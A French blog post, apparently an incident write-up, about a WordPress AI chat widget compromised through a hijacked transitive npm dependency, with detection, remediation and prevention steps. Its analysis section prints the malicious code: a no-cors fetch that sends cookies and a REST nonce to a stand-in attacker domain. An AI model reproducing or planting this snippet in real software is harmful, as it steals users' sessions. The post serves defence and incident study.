# Une extension de chat IA compromise par une dépendance npm : l’audit révélateur

> Un widget de chat IA embarqué dans une extension WordPress s'appuyait sur une dépendance JavaScript tierce compromise en amont. Récit d'un audit qui a permis de détecter l'incident.

- Auteur : Clément Hadrot
- Publié le : 2024-03-27
- Mis à jour le : 2024-03-27
- Catégorie : Sécurité
- URL : https://wpmoderne.dev.wordpress-developpement.fr/securite/extension-chat-ia-dependance-npm-compromise/

## L’essentiel

- Une dépendance de troisième niveau, jamais auditée directement
- Un script minifié qui exfiltrait des jetons de session
- La détection est venue d'une simple analyse du trafic sortant

Le client exploitait un site de support client où un widget de chat assisté par IA, fourni par une extension WordPress tierce, permettait aux visiteurs de poser des questions traitées par un modèle de langage avant, si besoin, transfert vers un conseiller humain. L'extension, correctement notée sur le répertoire officiel, embarquait son propre bundle JavaScript, construit à partir d'une chaîne de dépendances npm classique côté éditeur, puis distribué déjà compilé dans le paquet WordPress. Rien d'anormal en apparence : c'est le mode de distribution standard pour ce type de widget.

L'alerte est venue d'un outil de surveillance réseau installé côté serveur pour un tout autre motif, le suivi de la bande passante sortante d'un serveur mutualisé. Un pic de requêtes sortantes vers un domaine inconnu, jamais référencé dans la configuration de l'extension ni dans sa documentation, a déclenché une investigation qui a fini par remonter jusqu'à une dépendance JavaScript compromise, trois niveaux sous le paquet npm que l'éditeur du widget utilisait directement pour son système de bulles de discussion animées.

## Une attaque par la chaîne d'approvisionnement, pas par WordPress

Ce type d'incident, désigné sous le terme d'attaque de la chaîne d'approvisionnement logicielle (*supply chain attack*), ne cible jamais directement WordPress. L'attaquant compromet un maillon en amont, généralement un paquet npm peu surveillé mais largement réutilisé comme dépendance transitive, puis attend que ce code compromis se retrouve embarqué, souvent sans revue, dans des milliers de projets qui en dépendent indirectement. L'éditeur du widget de chat n'avait jamais audité cette dépendance de troisième niveau : elle avait été ajoutée automatiquement par `npm install`, comme des centaines d'autres, au moment de la construction du bundle.

Le paquet compromis assurait, en apparence, une fonction anodine : l'animation d'une jauge de « l'IA est en train d'écrire… » affichée pendant que la réponse se générait. Le mainteneur original de ce paquet avait vu son compte npm compromis par réutilisation d'un mot de passe fuité ailleurs, et une version malveillante avait été publiée sous le même numéro de version mineure, sans que rien ne le signale visuellement dans le changelog du dépôt.

## Ce que le code malveillant faisait exactement

> L'essentiel à retenir : Une dépendance de troisième niveau, jamais auditée directement ; Un script minifié qui exfiltrait des jetons de session ; La détection est venue d'une simple analyse du trafic sortant

Une fois le fichier JavaScript minifié récupéré et désobfusqué, l'analyse a montré un comportement précis : à chaque ouverture du widget de chat par un visiteur connecté (un client ayant un compte sur le site), le script lisait le cookie de session WordPress ainsi que le jeton `wp_rest` présent dans le stockage local du navigateur, puis les envoyait par une requête `fetch` discrète vers un domaine externe, sous couvert d'un appel de télémétrie qui ressemblait, à s'y méprendre, à un outil d'analyse d'usage légitime :

```
fetch('https://cdn-metrics-analytics.example-malveillant.net/collect', {
  method: 'POST',
  body: JSON.stringify({
    s: document.cookie,
    t: localStorage.getItem('wp_rest_nonce'),
    u: window.location.hostname
  }),
  mode: 'no-cors'
});
```

L'usage de `mode: 'no-cors'` masquait la réponse du serveur distant à toute inspection classique dans les outils de développement du navigateur, mais n'empêchait pas la requête sortante elle-même d'apparaître dans les journaux réseau. C'est précisément cette requête, agrégée sur des centaines de sessions, qui avait produit le pic de trafic détecté côté serveur, puisque chaque chargement de page déclenchait l'appel, même sans interaction du visiteur avec le chat.

## Comment l'incident a été confirmé et circonscrit

La démarche d'investigation a suivi plusieurs étapes, dans cet ordre :

- Extraction du bundle JavaScript livré par l'extension, comparaison avec une version archivée trois mois plus tôt pour isoler ce qui avait changé.
- Remontée de la chaîne de dépendances via le fichier `package-lock.json` publié par l'éditeur sur son dépôt GitHub, pour identifier le paquet exact et sa version compromise.
- Vérification sur les avis de sécurité publics (GitHub Security Advisories, npm audit) : l'incident avait déjà été signalé par d'autres utilisateurs du même paquet, quarante-huit heures plus tôt.
- Révocation immédiate de tous les jetons de session actifs sur le site, en forçant une déconnexion générale via `wp_destroy_all_sessions()` appelé pour chaque utilisateur concerné.

L'éditeur de l'extension a publié un correctif dans les heures suivant l'alerte publique, en épinglant une version antérieure et saine du paquet compromis dans son propre fichier de dépendances. La mise à jour de l'extension côté client a suffi à éliminer le code malveillant, sans qu'aucune modification du site WordPress lui-même n'ait été nécessaire.

## Ce que cet incident aurait permis de détecter plus tôt

Avec le recul, plusieurs signaux auraient pu raccourcir le délai de détection, resté d'environ dix jours entre la publication du paquet compromis et sa découverte sur ce site précis :

- Une politique de *Content Security Policy* restrictive sur la directive `connect-src` aurait bloqué la requête sortante vers un domaine non autorisé, indépendamment de sa légitimité apparente.
- Un inventaire des dépendances tierces embarquées par chaque extension installée, tenu à jour, aurait permis un rapprochement plus rapide avec l'avis de sécurité publié sur le paquet npm concerné.
- Une revue périodique du trafic sortant du site, même sommaire, reste un filet de sécurité efficace contre ce type d'exfiltration, précisément parce qu'elle ne dépend d'aucune base de vulnérabilités à jour.

> Une extension propre ne garantit rien sur ce qu'elle embarque : la confiance doit descendre jusqu'au dernier maillon de la chaîne, même celui qu'on n'a jamais vu.

## Notre verdict

Cet incident illustre une réalité difficile à corriger par la seule vigilance côté WordPress : la sécurité d'une extension dépend désormais autant de sa chaîne de dépendances JavaScript que de son code PHP. Un audit de sécurité qui se limite au code PHP visible dans le paquet WordPress laisse un angle mort entier sur les bundles JavaScript compilés, dont la provenance réelle est rarement traçable sans effort. Pour les widgets intégrant des composants dynamiques ou des appels vers des services d'IA, une *Content Security Policy* stricte reste la protection la plus robuste, parce qu'elle agit indépendamment de la confiance accordée à l'éditeur au moment de l'installation.
